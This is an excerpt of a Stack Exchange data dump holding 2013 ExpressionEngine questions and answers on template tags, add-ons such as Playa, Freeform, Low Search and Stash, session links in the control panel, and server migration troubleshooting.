  <row Id="12643" PostTypeId="2" ParentId="12630" CreationDate="2013-08-12T09:00:52.070" Score="1" Body="&lt;p&gt;I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_assets_field}&#xA;{my_assets_field limit=&quot;30&quot; offset=&quot;80&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; alt=&quot;{alt_text}&quot;&amp;gt;{filename}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/my_assets_field}&#xA;{if:else}&#xA;the end&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know if this solution works for what you need with your ajax call.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-08-12T09:00:52.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12645" PostTypeId="1" CreationDate="2013-08-12T10:23:32.133" Score="1" ViewCount="65" Body="&lt;p&gt;the title described it.&#xA;After the ee update i wasn't able to click on my custom links in the ee main bar anymore.&#xA;It throw me always out of my login session.&#xA;I had to re-add each of my custom links to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I updated from 4.3.3 to 4.4.5. The behaviour was the same in an older update i did before. I added the links always via your +Add button and after an update, these links always fail.&#xA;I think it's because a session or id is saved also inside the links. For example here is one of my old ones... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://url.de/backend/index.php?S=56ddd7c4744a94b131bcd8f0bdb6f61965476ed5&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always login via /system/ or in this example via /backend/ instead of admin.php, because there were always some issues in the past, but i can't remember by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastEditorUserId="55" LastEditDate="2013-08-12T12:27:32.827" LastActivityDate="2013-10-11T15:57:45.527" Title="After ee update custom links doesn't work anymore" Tags="|navigation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12647" PostTypeId="1" CreationDate="2013-08-12T11:56:55.973" Score="0" ViewCount="88" Body="&lt;p&gt;Got a large number of relationships in a DB via Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change a parent entry (the titles) the title been out-put by the playa tag is still the title before it has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know why this is happening as the old title is stored in the playa entry, but is there a way to make playa automatically go round and check and update these so I can change these without having to do it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to clarify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel 'Parent' has a entry &quot;I'm the Daddy&quot;&#xA;Channel 'Child' has an entry which via playa references &quot;I'm the Daddy&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I rename the entry in the parent channel to &quot;I'm not the daddy&quot;, when I reference the parent's title via the child using playa, it returns &quot;I'm the daddy&quot; still instead of using the updated title.&lt;/p&gt;&#xA;" OwnerUserId="998" LastActivityDate="2014-02-27T15:07:53.570" Title="Changes to parents not cascading to relationship child" Tags="|playa|relationships|children|" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="12648" PostTypeId="2" ParentId="12633" CreationDate="2013-08-12T12:18:36.000" Score="1" Body="&lt;p&gt;Have you tried removing this parameter?&#xA;mailinglist_opt_in=&quot;no&quot;&#xA;Make sure you have the &quot;Opt in by default&quot; checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want the field to display.&#xA;You will probably have to code that into a hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-12T12:18:36.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12649" PostTypeId="2" ParentId="12614" CreationDate="2013-08-12T12:45:56.147" Score="1" Body="&lt;p&gt;Not tested, but this &lt;em&gt;should&lt;/em&gt; work. We're checking to see if each fruit has parents, and if it &lt;em&gt;doesn't&lt;/em&gt;, then we display it (and any child fruits). It would be helpful if the fieldtype had something like &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa's&lt;/a&gt; &lt;code&gt;:total_parents&lt;/code&gt; and &lt;code&gt;:total_children&lt;/code&gt; tags, but it doesn't (which is one of the many reasons I still use Playa).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{if '{parents field=&quot;child_fruit&quot;}{title}{/parents}' == ''}&#xA;    &amp;lt;li&amp;gt;&#xA;        {title}&#xA;        {child_fruit}&#xA;        {if child_fruit:count == &quot;1&quot;}&amp;lt;ul&amp;gt;{/if}&#xA;            &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;        {if child_fruit:count == child_fruit:count:total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;        {/child_fruit}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-12T12:45:56.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12650" PostTypeId="2" ParentId="12633" CreationDate="2013-08-12T14:56:30.237" Score="1" Body="&lt;p&gt;In Freeform 4, the mailing list options are in the mailinglist field creation area: &lt;a href=&quot;http://cl.ly/image/2o3o153c3S0q&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2o3o153c3S0q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform 4 differs from Freeform 3 in that the Mailinglist options are all custom field based and no longer parameter based.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastEditorDisplayName="user550" LastEditDate="2013-08-12T16:37:32.930" LastActivityDate="2013-08-12T16:37:32.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12651" PostTypeId="2" ParentId="12645" CreationDate="2013-08-12T15:15:42.493" Score="1" Body="&lt;p&gt;I think it's because the sessions are handled differently in the most recent versions of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed it on a couple of sites of mine just by recreating the links. If you're still having issues then I'd suggest removing the session hash from the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So&#xA;    &lt;a href=&quot;http://url.de/backend/index.php?S=56ddd7c4744a94b131bcd8f0bdb6f61965476ed5&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&quot; rel=&quot;nofollow&quot;&gt;http://url.de/backend/index.php?S=56ddd7c4744a94b131bcd8f0bdb6f61965476ed5&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would become&#xA;    &lt;a href=&quot;http://url.de/backend/index.php?cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&quot; rel=&quot;nofollow&quot;&gt;http://url.de/backend/index.php?cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-12T15:15:42.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12652" PostTypeId="1" AcceptedAnswerId="13136" CreationDate="2013-08-12T16:08:06.497" Score="1" ViewCount="338" Body="&lt;p&gt;I am totally new to expression engine.  I inherited a project that is built with expression engine because the last developer disappeared.  The site was working fine for the last two years so i didn't have to really touch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of weeks ago, the site started showing problems.  My slideshow galleries and some images aren't showing up anymore.  I can even see tags like {slideshow}{/slideshow},{path},{slide_show_links},{file} etc.. showing right in the webpage.  These tags are supposed to be replaced php code to do things like printing the html mark up of galleries, or printing urls etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this problem can be seen at &lt;a href=&quot;http://hop.ca&quot; rel=&quot;nofollow&quot;&gt;http://hop.ca&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="69" LastEditDate="2013-08-25T19:41:49.200" LastActivityDate="2013-08-25T19:41:49.200" Title="Tags not parsing - showing on front-end like {slideshow}{/slideshow},{path},{slide_show_links},{file} etc" Tags="|templates|ee1|tags|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12653" PostTypeId="1" AcceptedAnswerId="12670" CreationDate="2013-08-12T16:12:57.233" Score="2" ViewCount="94" Body="&lt;p&gt;I'd like to recreate an &quot;e-greeting card&quot; functionality using EE, and I'm wondering if this could be done with the core functionality of EE, or if it would require custom programming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality is as follows.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;User clicks on an image they like for the &quot;front&quot; of their e-card, and is then presented with a form with 5 fields: &quot;From&quot; name, &quot;From&quot; email, &quot;To&quot; name, &quot;To&quot; email, and &quot;message&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After filling form and clicking &quot;send&quot;, system generates the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A URL where this card now lives. The URL allows you to see the card's &quot;front&quot; and &quot;back&quot;. The front is an image that the user selected. The back displays info the user entered--email, message, etc&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An email to the recipient with another URL link where the receiver can see it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the receiver clicks on the link, the sender also gets an email confirming the card was read&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-08-12T23:15:43.037" Title="E-greeting card functionality with EE?" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12654" PostTypeId="1" AcceptedAnswerId="12659" CreationDate="2013-08-12T16:35:22.907" Score="1" ViewCount="275" Body="&lt;p&gt;I'm using the flexslider to create a carousel of pictures and use channel entries to populate the list items (images) that the flexslider uses to create the carousel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to add a link to a pdf on al those list items that I have in a matrix field in the channel and that works also but only for the first list item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody nows why this is?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;lr_press&quot;}&#xA;            {if press_slider_switch != &quot;&quot;}&#xA;            {press_artikel}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{press_document}&quot; targat=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{press_beeld}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/press_artikel}&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1659" LastEditorUserId="1659" LastEditDate="2013-08-12T18:27:28.497" LastActivityDate="2013-08-13T10:32:17.087" Title="Matrix fields &amp; flexslider" Tags="|matrix|channel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12656" PostTypeId="1" CreationDate="2013-08-12T17:10:29.670" Score="0" ViewCount="83" Body="&lt;p&gt;I want a checkbox called members and when a lodging is searched for, I want members to display first and the rest to be alphabetized underneath. I know I can do this via the sticky function, but the wording of it is confusing to the client. Is there a plugin that will let me rename it or a method to do what I want to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, using low search, if I order it ascending, which i need for alphabetization, my members are added to the bottom of the list, but if I go descending then everything is reverse alphabetized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    query=&quot;{segment_3}&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    orderby=&quot;lodging_swita_member|title&quot;&#xA;    sort=&quot;asc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-08-12T19:04:45.750" Title="Can I (a) rename sticky to something like member, or recreate sticky functionality with a channel field?" Tags="|channel-entries|low-search|sort|orderby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12657" PostTypeId="1" CreationDate="2013-08-12T17:50:55.613" Score="1" ViewCount="74" Body="&lt;p&gt;I am creating my own custom field type, and my replace_tag function is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function replace_tag($data, $params = array(), $tagdata = FALSE) {&#xA;&#xA;    return $data; // NULL&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem, as noted in the code, is that &lt;code&gt;$data&lt;/code&gt; has no value. I have verified that the channel entry i'm display is correct, that field's data is properly stored in the database, and that if I manually set a value for &lt;code&gt;$data&lt;/code&gt; inside the &lt;code&gt;replace_tag()&lt;/code&gt; function, it prints to the template just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to what could be going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. &lt;a href=&quot;http://ellislab.com/forums/viewthread/237035/&quot; rel=&quot;nofollow&quot;&gt;I started a thread here&lt;/a&gt; but never got responses. Trying this instead.&lt;/p&gt;&#xA;" OwnerUserId="1879" LastEditorUserId="104" LastEditDate="2013-08-16T07:53:51.357" LastActivityDate="2013-09-18T19:45:30.197" Title="replace_tag() receiving NULL for field data" Tags="|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12658" PostTypeId="2" ParentId="12292" CreationDate="2013-08-12T18:28:24.597" Score="3" Body="&lt;p&gt;The following is partly taken from the &lt;a href=&quot;http://www.solspace.com/docs/freeform/troubleshooting/&quot; rel=&quot;nofollow&quot;&gt;Freeform troubleshooting guide&lt;/a&gt;, but here is a list of items to verify when email isn't being sent:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Verify that your email address(es) is(are) correct.&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;strong&gt;spam folder&lt;/strong&gt; of your email account&lt;/li&gt;&#xA;&lt;li&gt;Try sending email using the &lt;strong&gt;Communicate Tool&lt;/strong&gt; in the CP? (CP =&gt; Tools =&gt; Communicate)&lt;/li&gt;&#xA;&lt;li&gt;Review your &lt;strong&gt;template tag parameters&lt;/strong&gt; correctly (For example, the admin_notify=&quot;&quot; and admin_notification_template=&quot;&quot; parameters)&lt;/li&gt;&#xA;&lt;li&gt;Make sure you're using the &lt;strong&gt;parameters for Freeform/Freeform Pro 4.x&lt;/strong&gt; and not 3.x (when using Freeform/Freeform Pro 4.x)&lt;/li&gt;&#xA;&lt;li&gt;Make sure you're using the parameters for Freeform 3.x and not Freeform/Freeform Pro 4.x (when using Freeform 3.x)&lt;/li&gt;&#xA;&lt;li&gt;Make sure there aren’t &lt;strong&gt;malformed form fields or parameters&lt;/strong&gt; with curly/fancy/typographic quotes instead of straight quotes. Eg &lt;code&gt;“&lt;/code&gt; vs &lt;code&gt;&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Try sending &lt;strong&gt;email using EE's native contact or tell-a-friend form&lt;/strong&gt;. See the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/index.html&quot; rel=&quot;nofollow&quot;&gt;official EE documentation&lt;/a&gt;  for details on using these forms.&lt;/li&gt;&#xA;&lt;li&gt;Check your &lt;strong&gt;server logs&lt;/strong&gt; for any errors.&lt;/li&gt;&#xA;&lt;li&gt;Verify that you are getting &lt;strong&gt;redirected correctly after form submission&lt;/strong&gt;. If you are not being redirected correctly, have a look at your EE settings and .htaccess file for redirection issues that might then affect email.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-12T18:28:24.597" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12659" PostTypeId="2" ParentId="12654" CreationDate="2013-08-12T18:42:49.587" Score="0" Body="&lt;p&gt;I suggestion - but I would recommend having the markup for the slider inside your entries loop - that way if no results are returned, absolutely no slider markup winds up in the page template.  So like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;lr_press&quot;}&#xA;    {if count == &quot;1&quot;}&#xA;    &amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    {exp:switchee variable=&quot;{press_slider_switch}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;on&quot;}&#xA;             markup for ON items (so your matrix field, I believe)&#xA;        {/case}&#xA;        {case value=&quot;off&quot;}&#xA;             markup for OFF items&#xA;        {/case}&#xA;    {/exp:switchee}     &#xA;&#xA;    {if count == total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With regard to what's going on for each list item - if you describe in a bit more detail what &quot;press_slider_switch&quot; is - as a conditional wrapped around your list items, it can certainly have a big impact on what's generated for your slider - then I might be abel to assist further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Added switchee example to the markup above.  Also - one thing you might consider is using &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;Entry Type&lt;/a&gt; add-on in place of switch.  It has the same effect, really, except that it would allow you to hide/show your matrix field only for the switch values for which it is relevant - more for user-friendliness for the editor than anything - not much different in terms of the data or templating.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-08-13T10:32:17.087" LastActivityDate="2013-08-13T10:32:17.087" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12660" PostTypeId="2" ParentId="12656" CreationDate="2013-08-12T19:01:26.067" Score="1" Body="&lt;p&gt;This is a good reason to separate your data fetching from your data output using Stash. The parse order can get tricky, but this should work... It uses the P&amp;amp;T checkbox-group fieldtype to tick an entry as being a 'member':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--  ============================================&#xA;STASH INTO A SINGLE LIST&#xA;================================================== --}&#xA;&#xA;{exp:stash:set_list&#xA;    name=&quot;results&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;}&#xA;    {exp:low_search:results &#xA;        query=&quot;{segment_3}&quot;&#xA;        limit=&quot;10&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }           &#xA;        {if {cf_options:selected option=&quot;is-member&quot;}}&#xA;            {stash:is-member}yep{/stash:is-member}&#xA;        {if:else}&#xA;            {stash:is-member}nope{/stash:is-member}&#xA;        {/if}&#xA;        {stash:the-title}{title}{/stash:the-title}&#xA;        {stash:the-url}{permalink}{/stash:the-url}&#xA;        {stash:the-summary}{cf_summary}{/stash:the-summary}&#xA;    {/exp:low_search:results}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!--  ============================================&#xA;START OUTPUT&#xA;================================================== --}&#xA;&#xA;&amp;lt;ol&amp;gt;&#xA;{exp:stash:get_list name=&quot;results&quot; match=&quot;#^yep$#&quot; against=&quot;is-member&quot;}             &#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{the-url}&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{the-title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;{the-summary}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;               &#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;results&quot; match=&quot;#^nope$#&quot; against=&quot;is-member&quot;}                &#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{the-url}&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{the-title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;{the-summary}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;               &#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to make it DRY-er you could use a snippet for the markup inside the two get_list sections.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-08-12T19:01:26.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12661" PostTypeId="2" ParentId="12656" CreationDate="2013-08-12T19:04:45.750" Score="1" Body="&lt;p&gt;I agree - sticky is a pain.  Yes, you can do it that way with a distinct custom field, though that's not how I would recommend approaching it - because without an add-on like Zenbu, you wouldn't be able to see that custom field from the main list edit screen - one of the few advantages of the sticky field is that it is present on the main list edit screen.  But so is status.  As of version 2.5.4, status is available for use in orderby.  And while the label of &quot;status&quot; isn't ideal, since you can create a custom status of &quot;member&quot; and use status in your orderby param, maintaining your ability to group your members together at the top of the list, and still have alphabetization within each grouping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-12T19:04:45.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12662" PostTypeId="1" AcceptedAnswerId="12666" CreationDate="2013-08-12T19:13:24.523" Score="0" ViewCount="86" Body="&lt;p&gt;is there a trick to only showing ONLY the children of a certain category? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_catmenu show=&quot;5&quot; cat_id=&quot;5&quot;}&#xA;&amp;lt;a href=&quot;{path='catmenu-demo/example1/{complete_path}'}&quot;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to only show the children of cat 5, all parent categories are showing as well as the children of 5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Bestseller&#xA;-New&#xA;-Featured&#xA;-Hunting (id 5)&#xA;----Accessories&#xA;----Calls&#xA;----Cameras&#xA;----Decoys&#xA;----Bags/Cases&#xA;----Face Paint / Scent Elimination&#xA;----Knives&#xA;----Deer Scents&#xA;----Range Finders / GPS&#xA;----Videos&#xA;-Fishing&#xA;-Archery&#xA;-Shooting&#xA;-Clothing&#xA;-Footwear&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-08-13T11:43:29.640" LastActivityDate="2013-08-13T11:43:29.640" Title="Categories show only childrem" Tags="|categories|gwcode-categories|children|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12663" PostTypeId="1" AcceptedAnswerId="12845" CreationDate="2013-08-12T19:55:32.393" Score="3" ViewCount="208" Body="&lt;p&gt;I have MX Google Maps working fine on a per-entry basis, but I'd like to give the user an option to view the full map on Google Maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{the-map}&#xA;&amp;lt;a href=&quot;http://maps.google.com/maps?q={title}+{address}+{city}+&#xA;{state}+{zipcode}@{latitude},{longitude}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;Full-size Google Map&amp;lt;/a&amp;gt;&#xA;{/the-map}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideas why?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-08-17T20:22:40.057" Title="Generating link to full map with MX Google Maps" Tags="|mx-google-map|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12664" PostTypeId="1" CreationDate="2013-08-12T20:07:21.897" Score="1" ViewCount="191" Body="&lt;p&gt;Moving EE between QA servers and experiencing an issue. The CP loads right up without issue. Can go straight to the home page as well (which is not managed with EE). However, when going to the &lt;code&gt;blog&lt;/code&gt; channel (currently the only content we have managed with EE) the page gets stuck loading and never displays any content or errors. The loader in Safari's address bar just stop at about 10% and never loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions on places to look for issues? I've double/triple checked all paths and everything looks correct.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-12T14:40:58.033" Title="After moving EE to a new server front-end hangs and never loads" Tags="|server-migration|loading-time|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12665" PostTypeId="2" ParentId="12664" CreationDate="2013-08-12T20:27:34.433" Score="1" Body="&lt;p&gt;If you go to &lt;code&gt;(domain_name)/index.php&lt;/code&gt; does the page load? If this works I would suggest looking at your .htaccess file (supposing your server runs Apache), making sure it was copied correctly and nothing needs to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Since you say your page does finally load but after a crazy number of seconds, I recommend you try the following steps to troubleshoot your issue.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;https://github.com/mithra62/ee_debug_toolbar&quot; rel=&quot;nofollow&quot;&gt;EE Debug Toolbar&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;In the control panel, go to Admin&gt;System Administration&gt;Output and Debugging and turn on &quot;Display Template Debugging?&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Reload your front end page (while still logged in to the control panel as super admin);&lt;/li&gt;&#xA;&lt;li&gt;Use EE Debug Toolbar to identify any pain-points. The toolbar will show you the total template rendering time in the fifth box, and query execution time in the last box. Clicking on either will give you more detail.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mithra62/ee_debug_toolbar&quot; rel=&quot;nofollow&quot;&gt;EE Debug Toolbar's GitHub readme page&lt;/a&gt; gives you a high level idea of what the toolbar looks like and how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try these steps, see if it doesn't point out anything obvious to you, and if you have more symptoms but no answers, update your question so we can troubleshoot further. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="1745" LastEditorUserId="1745" LastEditDate="2013-08-13T14:26:48.193" LastActivityDate="2013-08-13T14:26:48.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12666" PostTypeId="2" ParentId="12662" CreationDate="2013-08-12T21:00:51.570" Score="1" Body="&lt;p&gt;Add the cat_id=&quot;&quot; parameter. This will show child categories for that category ID.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-12T21:00:51.570" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12667" PostTypeId="1" CreationDate="2013-08-12T21:09:31.430" Score="1" ViewCount="92" Body="&lt;p&gt;EE experts --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be missing something. It seems that the only way to grab the categories for an entry is via a sub-query, using GWcode, for instance. Categories are not readily available like they would be for custom fields or {title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a big pain for a few reasons. Take a site, like the site I am developing for a client -- a craigslist spin-off. Every entry has a category (Events, Free, etc). Each entry also has a Location category. Seattle (child), Washington (parent category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whenever I list entries from search results, etc, I have to use a pliugin (EE's favorite answer) to list the category and location of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This completely destroys performance. So I talk to EE support, they say my code looks good, try caching. Fine. Caching is a reasonable answer. It works well enough for this, but not always. Anytime, anywhere I need to list entries in a custom query (for the current_user, for example) I get slammed by this bottleneck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe my question is about caching? Can anyone here speak to the larger issue? This is likely my last project in EE because of this issue. Is a design flaw in my structure? Surely I'm not alone on this?&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-08-01T09:02:56.217" Title="How to quickly grab an entry's category (and child categories)" Tags="|categories|caching|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
